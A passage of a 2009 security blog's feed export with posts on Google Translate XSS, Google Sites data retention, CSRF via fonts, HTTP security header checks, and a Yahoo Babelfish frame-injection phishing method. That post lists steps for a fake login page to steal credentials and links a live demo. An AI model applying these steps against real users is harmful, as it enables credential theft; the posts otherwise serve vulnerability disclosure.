benchmarks.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;The result is nothing and no output is on the way. The more stress is not to consider it as a security bug rather finding the real obscurity in it but one can enjoy with this part.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;It is seriously out of the way.&lt;br /&gt;&lt;br /&gt;Cheers.&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7169423308296891168?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7169423308296891168/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7169423308296891168' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7169423308296891168'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7169423308296891168'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/12/google-chrome-webkit-msword-scripting.html' title='Google Chrome/ WebKit - MSWord Scripting Object XSS Payload Execution Bug and Random CLSID Stringency'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_2r2SQhqglf4/Szhs3sfmzpI/AAAAAAAAAqo/gbOBS0_9se0/s72-c/google-chrome-logo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-2350153998760311867</id><published>2009-12-24T22:24:00.000-08:00</published><updated>2009-12-24T23:40:34.849-08:00</updated><title type='text'>Google Sites Privacy Chaos - Is it unthical or Is this the way it has to be? A Talk!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/SzRkYKOjzHI/AAAAAAAAAqQ/5n7KGApVMNE/s1600-h/check4.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 157px; height: 132px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/SzRkYKOjzHI/AAAAAAAAAqQ/5n7KGApVMNE/s320/check4.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5419066617858608242" /&gt;&lt;/a&gt;Google site provide services to the users for hosting their websites on Google.  I was going through the privacy column of this website due to an issue that pop up in front of me. The policy is presented below:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/SzReZ8F2GeI/AAAAAAAAApw/3Os8Rpy-sZU/s1600-h/google_site_privacy.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 210px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/SzReZ8F2GeI/AAAAAAAAApw/3Os8Rpy-sZU/s320/google_site_privacy.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5419060051353934306" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;There is an excerpt in this privacy policy of Google Sites&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;You may permanently delete any content you create in Google Sites. Because of the way we maintain this service, residual copies of your files and other information associated with your account may remain on our servers for three weeks.&lt;/span&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.google.com/sites/privacy.html"&gt;http://www.google.com/sites/privacy.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is completely not true. The policy point is quite okay but considering the real time functionality this is not applicable in an appropriate manner. The time period for residual copies is set for three weeks , I suppose not more than a month. I personally tested the stuff six months back. I have noticed even after the duration of six months , the file which was deleted (a PDF file which I do not want anybody to look into) six months back, it is still recoverable from the Google site , a quite unacceptable fact because a deleted content should not reside more than three weeks. User thinks that content is deleted but its not like that. Things work differently.&lt;br /&gt;&lt;br /&gt;Let's see:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/SzRjwCeccjI/AAAAAAAAAqI/hgp0mKuiZlI/s1600-h/google_privacy_chaos.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 198px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/SzRjwCeccjI/AAAAAAAAAqI/hgp0mKuiZlI/s320/google_privacy_chaos.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5419065928582984242" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So there is an ambiguity in the applied policy of Google sites. Is the policy being implemented in right way? &lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Ofcourse , Google owns web!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-2350153998760311867?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/2350153998760311867/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=2350153998760311867' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2350153998760311867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2350153998760311867'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/12/google-sites-privacy-chaos-is-it.html' title='Google Sites Privacy Chaos - Is it unthical or Is this the way it has to be? A Talk!'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/SzRkYKOjzHI/AAAAAAAAAqQ/5n7KGApVMNE/s72-c/check4.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-2669003790830796053</id><published>2009-12-24T21:28:00.000-08:00</published><updated>2011-08-19T13:00:59.630-07:00</updated><title type='text'>Google Translate - Google User Content - File Uploading  Cross  - XSS and Design Stringency - A Talk</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/SzRfNqvEeRI/AAAAAAAAAqA/pkemFWuunmU/s1600-h/check3.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 138px; height: 113px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/SzRfNqvEeRI/AAAAAAAAAqA/pkemFWuunmU/s320/check3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5419060940048202002" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Google translate services provide an  efficient way of translating content. The web is as a playground of attackers and everyday new bug or flaw is noticed in the web services provided by major giants. There is another web based design issue in applicability of user generated content. On discussion with Google about this problem , the issues is treated as design by default.&lt;br /&gt;&lt;br /&gt;The problem (or web bug)persist in the file uploading feature on Google translate website and translating content into requisite choice. Malicious content such as XSS payload , Iframes etc is executed and rendered into the another domain of user. On discussion with Google it was stated that:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"With JavaScript is executed on the translate.googleusercontent.com domain,rather than translate.google.com. This is by design as files uploaded to the translate service are regarded as untrusted content."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;There are two features provided by Google translate service which are mentioned below&lt;br /&gt;1. Translation through file uploading.&lt;br /&gt;2. Direct translation of content online.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/SzRS_CpMMzI/AAAAAAAAApI/DkwSHTQpwVo/s1600-h/check1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 121px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/SzRS_CpMMzI/AAAAAAAAApI/DkwSHTQpwVo/s320/check1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5419047494628422450" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If the Google does this be default like mentioned earlier then the content translated directly online should be considered as untrusted too. The frame injection attacks are not conducted in a stealth manner in Google translate services because toolbar displays the source and conversion languages directly. That's an attack scenario.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Question: Why users consider translation services as secure? What If somebody is doing some monetary transaction or some other issues like that?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The question and answer in itself is hard to answer. But one thing is sure for any critical work the translate services should not be used especially online services.&lt;br /&gt;&lt;br /&gt;Let's have a look at the attack point:&lt;br /&gt;&lt;br /&gt;Step 1: Uploading a malicious content file through Google Translate service&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/SzRUdK3RPjI/AAAAAAAAApQ/IurZCS0nt6g/s1600-h/google_trans_poc_check1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 180px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/SzRUdK3RPjI/AAAAAAAAApQ/IurZCS0nt6g/s320/google_trans_poc_check1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5419049111742660146" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Step 2: Executing Content&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/SzRUpJuKFWI/AAAAAAAAApY/ypJV1rM8NHc/s1600-h/google_trans_poc_check2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 180px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/SzRUpJuKFWI/AAAAAAAAApY/ypJV1rM8NHc/s320/google_trans_poc_check2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5419049317594436962" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Another layout&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/SzRUyzsHaGI/AAAAAAAAApg/nh8Qa7Sla-M/s1600-h/google_trans_poc_check3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 180px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/SzRUyzsHaGI/AAAAAAAAApg/nh8Qa7Sla-M/s320/google_trans_poc_check3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5419049483478984802" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Looking at the different domains&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;1. translate.google.com &lt;br /&gt;&lt;br /&gt;Name:    www3.l.google.com&lt;br /&gt;Addresses:  209.85.231.102&lt;br /&gt;          209.85.231.100&lt;br /&gt;          209.85.231.101&lt;br /&gt;Aliases:  translate.google.com&lt;br /&gt;&lt;br /&gt;2. translate.googleusercontent.com&lt;br /&gt;&lt;br /&gt;Name:    googlehosted.l.google.com&lt;br /&gt;Address:  209.85.231.132&lt;br /&gt;Aliases:  translate.googleusercontent.com&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Both the google.com and googleusercontent.com serves the same google search functionality. The specific user content server can be used for differential purposes because content on it is not trusted.&lt;br /&gt;&lt;br /&gt;Looking for the different perspective.It would be great if a small message is&lt;br /&gt;being displayed on the Google translate service bar as mentioned below&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;"Google does not assure the integrity of source of the content"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After considering this as a notification I checked the Bing Translation which already have applied this notification message. Great.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/SzRYZPjLtmI/AAAAAAAAApo/mONACIX0c5I/s1600-h/check2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 100px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/SzRYZPjLtmI/AAAAAAAAApo/mONACIX0c5I/s320/check2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5419053442327623266" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;May be its not a solution but a good step in visualizing your concern about content. Well , that's some of the Microsoft solutions are really good to save your own ethics and business :)&lt;br /&gt;&lt;br /&gt;Note:  a previously reported phishing vulnerability in Google Translation which was patched and checked was introduced by Google on the source and destination translation languages.&lt;br /&gt;&lt;a href="http://secniche.org/advisory/Google_Trans_Adv.pdf"&gt;http://secniche.org/advisory/Google_Trans_Adv.pdf&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-2669003790830796053?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/2669003790830796053/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=2669003790830796053' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2669003790830796053'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2669003790830796053'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/12/google-translate-google-user-content.html' title='Google Translate - Google User Content - File Uploading  Cross  - XSS and Design Stringency - A Talk'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/SzRfNqvEeRI/AAAAAAAAAqA/pkemFWuunmU/s72-c/check3.jpg' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-5017116931660038502</id><published>2009-12-19T08:42:00.000-08:00</published><updated>2009-12-19T09:37:24.167-08:00</updated><title type='text'>Yahoo Babelfish - Possible Frame Injection Attack - Design Stringency</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/Sy0DMA-_R9I/AAAAAAAAAos/r47uCqPe5S8/s1600-h/yahoo_babelfish.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 147px; height: 107px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/Sy0DMA-_R9I/AAAAAAAAAos/r47uCqPe5S8/s320/yahoo_babelfish.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5416989431754082258" /&gt;&lt;/a&gt; Yahoo Babel-fish online service for translating content to different languages. The stringent design bug leads to the possibility of conducting FRAME injection attacks in the context of yahoo domain there by resulting in third party attacks. The issues has been demonstrated in some of my recent conferences. The flaw can be summed up as:&lt;br /&gt;&lt;br /&gt;1. There is no referrer check on the origin i.e. the source of request. &lt;br /&gt;2. Direct links can be used to send requests.&lt;br /&gt;2. Iframes can be loaded directly into the context of domain.&lt;br /&gt;&lt;br /&gt;Points to Ponder &lt;br /&gt;1. Yahoo login Page – perform certain checks , authorized ones.&lt;br /&gt;2. Yahoo implements FRAME Bursting in the main login Page.&lt;br /&gt;&lt;br /&gt;It is possible to remove that small piece of code and design a similar page with same elements that can be used further. It is possible to impersonate the trust of primary domain (YAHOO in this case) for legitimate attacks. There is a possibility of different attacks on YAHOO users.&lt;br&gt;&lt;br /&gt;&lt;br /&gt;Note: there is no specific notification is displayed on the top of translated page.&lt;br /&gt;&lt;br /&gt;Attacker can conduct a FRAME attack by following below mentioned steps&lt;br /&gt;&lt;br /&gt;1. Remove the above stated entities code from the main Login Page.&lt;br /&gt;2. Design the fake domain. Load in the context of Yahoo domain&lt;br /&gt;3. Inline IFRAME provides a familiar fake Login page.&lt;br /&gt;4. Set the backdoor in the Login input boxes for stealing credentials.&lt;br /&gt;5. Trap the victims by diversifying the manipulated URL’s on the Web.One can use &lt;br /&gt;   dedicated spamming.&lt;br /&gt;6. The attack is all set to work.&lt;br /&gt;&lt;br /&gt;Step 1: Injecting IFRAME - Modified&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/Sy0Jb_vy5GI/AAAAAAAAAo0/c9R-e6fXWz8/s1600-h/yahoo_1.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 208px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/Sy0Jb_vy5GI/AAAAAAAAAo0/c9R-e6fXWz8/s320/yahoo_1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5416996303369593954" /&gt;&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;Step 2 – Stealing Credentials &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/Sy0J5qacvUI/AAAAAAAAAo8/hd0i5QGG-_Y/s1600-h/yahoo_2.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px; height: 210px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/Sy0J5qacvUI/AAAAAAAAAo8/hd0i5QGG-_Y/s320/yahoo_2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5416996813038992706" /&gt;&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://babelfish.yahoo.com/translate_url?doit=done&amp;tt=url&amp;intl=1&amp;fr=bf-home&amp;trurl=http%3A%2F%2Fyahoo.schap.org&amp;lp=en_ko&amp;btnTrUrl=Translate"&gt;DEMONSTRATION&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;This attack works successfully. This is a demo setup.You can try some credentials and try to login. :)&lt;br&gt;&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-5017116931660038502?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/5017116931660038502/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=5017116931660038502' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5017116931660038502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/5017116931660038502'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/12/yahoo-babelfish-possible-inline-iframe.html' title='Yahoo Babelfish - Possible Frame Injection Attack - Design Stringency'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_2r2SQhqglf4/Sy0DMA-_R9I/AAAAAAAAAos/r47uCqPe5S8/s72-c/yahoo_babelfish.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7486618719797961394</id><published>2009-12-06T03:39:00.000-08:00</published><updated>2009-12-06T04:04:28.535-08:00</updated><title type='text'>CSRF - Browser Dependency Factor - Yes it Persists</title><content type='html'>CSRF attacks have been used quite often in attacking small edge routers which are having web interfaces on port 80. Recently I presented the same attack using Microsoft EOT (Embedded Open Type) font technology. As part of it , EOT fonts can be included in the web page and loaded dynamically. It has been discussed quite often about the nature of CSRF attacks and stringency of basic authentication. As I re tested the CSRF through EOT again and discovered that browser plays a critical role in flourishing these attacks with the same nature as discussed. The attack works nicely. With lot of changes in IE8 , the stealth part is not happening. It shows the error popup and even background image tag does not work the same way it is supposed to be.&lt;br /&gt;&lt;br /&gt;IE7 and IE8 has plethora of working differentiability in their functionality. The EOT can be used to launch authentication error free CSRF prior to version IE8. But it shows variation with IE running on different platforms. As a result of it conducting stealth CSRF have become quite hard. Microsoft has completely transformed the base pattern by incorporating secure design features. Good work Guys. &lt;br /&gt;&lt;br /&gt;There are some point that are need to be looked upon&lt;br /&gt;&lt;br /&gt;1. IE8 and Mozilla 3.x has has completely changed the working because the execution of http://username:password@example.com is not allowed.&lt;br /&gt;&lt;br /&gt;2. Any CSRF attack based on above mentioned scenario will no take place as no request is being sent to the server directly. &lt;br /&gt;&lt;br /&gt;3. There is an appropriate chance of conducting the CSRF attacks through SAFARI with the same syntax as discussed before. It perfectly works fine.&lt;br /&gt;&lt;br /&gt;The variation occurs in conducting the stealth free CSRF which is not that easy to trigger because of differential nature of browsers. The browser interpretation of different tags have dramatic impact on the attacks to happen successfully in real time environment.&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7486618719797961394?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7486618719797961394/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7486618719797961394' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7486618719797961394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7486618719797961394'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/12/csrf-browser-dependency-factor-yes-it.html' title='CSRF - Browser Dependency Factor - Yes it Persists'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-5838668091262546410</id><published>2009-11-24T18:25:00.000-08:00</published><updated>2009-11-25T03:29:20.677-08:00</updated><title type='text'>HTTP X Protection Headers - Microsoft Google Stringency</title><content type='html'>Recently I was reading news headline at security-focus &lt;a href="http://www.securityfocus.com/news/11565"&gt;http://www.securityfocus.com/news/11565&lt;/a&gt; about the flaw in Microsoft XSS filter implementation and Google's view over it. We have conducted extensive research on this part in understanding the limitations of the design filter and all. The point to think over this part is even Google has taken some steps to leverage this functionality and considering it as a negative process. Things are quite repulsive looking at the ongoing scenario. &lt;br /&gt;&lt;br /&gt;The terminology states that HTTP has X Factor protection considering the protection parameters implemented at the HTTP base level. Steps are taken to improve the functionality by inculcating the HTTP headers and applying it at the real time environment.&lt;br /&gt;&lt;br /&gt;Looking at this scenario , I triggered my emulator with perl as base to write some lines of code to check the GWS server by Google at port 80.&lt;br /&gt;&lt;br /&gt;[Google Check]&lt;br /&gt;&lt;br /&gt;C:\Perl\bin&gt;perl http_X_enum.pl google.com&lt;br /&gt;&lt;br /&gt;(*) http_X_enum.pl - HTTP[X] protection enumerator&lt;br /&gt;(*) enumerates (clickjacking,mime sniffing,xss protection, content download , csp etc) applied defense.&lt;br /&gt;(*) web application security assessment script&lt;br /&gt;(*) written by 0kn0ck [at] secniche.org&lt;br /&gt;&lt;br /&gt;(*) checking the state of server through icmp requests.&lt;br /&gt;(*) google.com is subjected to be alive&lt;br /&gt;&lt;br /&gt;Server: gws&lt;br /&gt;&lt;br /&gt;[+] ++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;[+] checking for applied defense on domain : google.com&lt;br /&gt;[+] ++++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;[+] detected possible [X-XSS-Protection: 0 ] xss protection parameter : X-XSS-Protection: 0&lt;br /&gt;&lt;br /&gt;[-] http parameter [X-XSS-Protection: 1] defense is not applied at domain.&lt;br /&gt;[-] http parameter [X-FRAME-OPTIONS: DENY] clickjacking defense is not applied &lt;br /&gt;[-] http parameter [X-FRAME-OPTIONS: SAMEORIGIN] clickjacking defense is not applied &lt;br /&gt;[-] http parameter [X-CONTENT-TYPE-OPTIONS: NOSNIFF] mime handling-sniffing opt out is not applied &lt;br /&gt;[-] http parameter [X-DOWNLOAD-OPTIONS: NOOPEN ] mime handling- download force save is not applied &lt;br /&gt;[-] http parameter [X-CONTENT-SECURITY-POLICY: ALLOW SELF] content policy is not applied.&lt;br /&gt;[-] http parameter [X-CONTENT-SECURITY-POLICY: ALLOW https://self] content policy is not applied.&lt;br /&gt;[-] http parameter [ACCESS-CONTROL-ALLOW-ORIGIN] csrf origin access is not applied.&lt;br /&gt;&lt;br /&gt;=================[DEBUG]=============================&lt;br /&gt;&lt;br /&gt;HTTP/1.1 301 Moved Permanently&lt;br /&gt;Location: http://www.google.com/&lt;br /&gt;Content-Type: text/html; charset=UTF-8&lt;br /&gt;Date: Wed, 25 Nov 2009 02:38:09 GMT&lt;br /&gt;Expires: Fri, 25 Dec 2009 02:38:09 GMT&lt;br /&gt;Cache-Control: public, max-age=2592000&lt;br /&gt;Server: gws&lt;br /&gt;Content-Length: 219&lt;br /&gt;X-XSS-Protection: 0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=================[DEBUG]=====================&lt;br /&gt;[+] execution success.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lets; see Yahoo&lt;br /&gt;&lt;br /&gt;C:\Perl\bin&gt;perl http_X_enum.pl yahoo.com&lt;br /&gt;&lt;br /&gt;(*) http_X_enum.pl - HTTP[X] protection enumerator&lt;br /&gt;(*) enumerates (clickjacking,mime sniffing,xss protection, content download , csp etc) applied defense.&lt;br /&gt;(*) web application security assessment script&lt;br /&gt;(*) written by 0kn0ck [at] secniche.org&lt;br /&gt;&lt;br /&gt;(*) checking the state of server through icmp requests.&lt;br /&gt;(*) yahoo.com is subjected to be alive&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[+] +++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;[+] checking for applied defense on domain : yahoo.com&lt;br /&gt;[+] +++++++++++++++++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;[-] http parameter [X-XSS-Protection: 0] not detected.&lt;br /&gt;[-] http parameter [X-XSS-Protection: 1] defense is not applied at domain.&lt;br /&gt;[-] http parameter [X-FRAME-OPTIONS: DENY] clickjacking defense is not applied &lt;br /&gt;[-] http parameter [X-FRAME-OPTIONS: SAMEORIGIN] clickjacking defense is not applied &lt;br /&gt;[-] http parameter [X-CONTENT-TYPE-OPTIONS: NOSNIFF] mime handling-sniffing opt out is not applied &lt;br /&gt;[-] http parameter [X-DOWNLOAD-OPTIONS: NOOPEN ] mime handling- download force save is not applied &lt;br /&gt;[-] http parameter [X-CONTENT-SECURITY-POLICY: ALLOW SELF] content policy is not applied.&lt;br /&gt;[-] http parameter [X-CONTENT-SECURITY-POLICY: ALLOW https://self] content policy is not applied.&lt;br /&gt;[-] http parameter [ACCESS-CONTROL-ALLOW-ORIGIN] csrf origin access is not applied.&lt;br /&gt;&lt;br /&gt;=====================[DEBUG]=====================&lt;br 